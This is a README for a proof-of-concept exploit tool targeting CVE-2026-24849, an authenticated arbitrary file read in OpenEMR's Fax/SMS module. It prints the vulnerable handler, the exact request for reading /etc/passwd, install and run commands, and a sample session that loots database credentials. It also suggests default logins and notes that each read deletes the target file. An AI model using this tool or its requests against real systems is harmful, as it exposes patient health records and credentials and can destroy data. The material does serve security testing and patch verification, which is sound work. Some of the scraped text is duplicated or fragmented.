
Proof-of-concept exploit for CVE-2026-24849, an authenticated path-traversal / arbitrary file read in OpenEMR's Fax/SMS (EtherFax) module. Any authenticated user regardless of privilege level can read arbitrary files from the server filesystem as the web-server user (database credentials, patient documents/PHI, /etc/passwd, …
disposeDoc)Proof-of-concept exploit for CVE-2026-24849, an authenticated path-traversal / arbitrary file read in OpenEMR's Fax/SMS (EtherFax) module. Any authenticated user regardless of privilege level can read arbitrary files from the server filesystem as the web-server user (database credentials, patient documents/PHI, /etc/passwd, …).
| CVE | CVE-2026-24849 |
| Vulnerability | Path Traversal / Arbitrary File Read (CWE-22) |
| Component | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| Affected | OpenEMR < 7.0.4 |
| Patched in | OpenEMR 7.0.4 |
| Authentication | Required any user, no privileges needed |
| Severity | NVD 6.5 (Medium) / GitHub CNA 9.9 (Critical) |
| Tested on | OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4 |
The Fax/SMS module's disposeDoc() method takes a caller-supplied file_path request parameter, confirms the file exists, and passes it straight to readfile() with no path canonicalization, no allow-listing, and no authorization check beyond holding a valid session:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
The handler is reached through the module dispatcher with an absolute path in file_path (no ../ traversal needed):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
A low-privilege (or default) account becomes a full server-side file-read primitive:
sites/default/sqlconf.phpsites/<site>/documents/, even when that directory is Deny from all in .htaccess (the read happens on disk, bypassing Apache)/etc/passwd, application source, keys/tokens readable by the web user⚠️ Destructive behaviour
disposeDoc()callsunlink($where)after reading the file. Reading a file the web-server user is allowed to delete will remove it. Target root-owned files (e.g./etc/passwd,sqlconf.phpon most installs) their parent directory isn't writable by the web user, so theunlink()fails and the file survives. Be deliberate about what you point this at.
admin:pass often works).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
Run it with no arguments and it will prompt for everything it needs:
python3 CVE-2026-24849.py
Or drive it non-interactively with flags:
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
If -f is omitted, the tool drops into an interactive read loop so you can pull multiple files from one session.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests, keeping the session in its own cookie jar (avoids the browser session-ID rotation that makes copied cookies go stale).disposeDoc read request, auto-trying both disposeDoc and disposeDocument (the method name differs across affected minor versions)..htaccess as the only control.This tool is provided for authorized security testing and educational purposes only. Only use it against systems you own or have explicit, written permission to test. The author accepts no liability for misuse or for any damage caused by this software. Note the destructive unlink() behaviour described above.
doany1
MIT see LICENSE.
| Flag | Description | Default |
|---|
-t, --target | Base URL, e.g. http://10.10.10.10 | prompted |
-u, --user | OpenEMR username | admin |
-P, --password | OpenEMR password | prompted (hidden) |
-s, --site | OpenEMR site id | default |
-f, --file | Absolute path of the remote file to read | interactive loop if omitted |
-o, --output | Save the looted file locally instead of printing |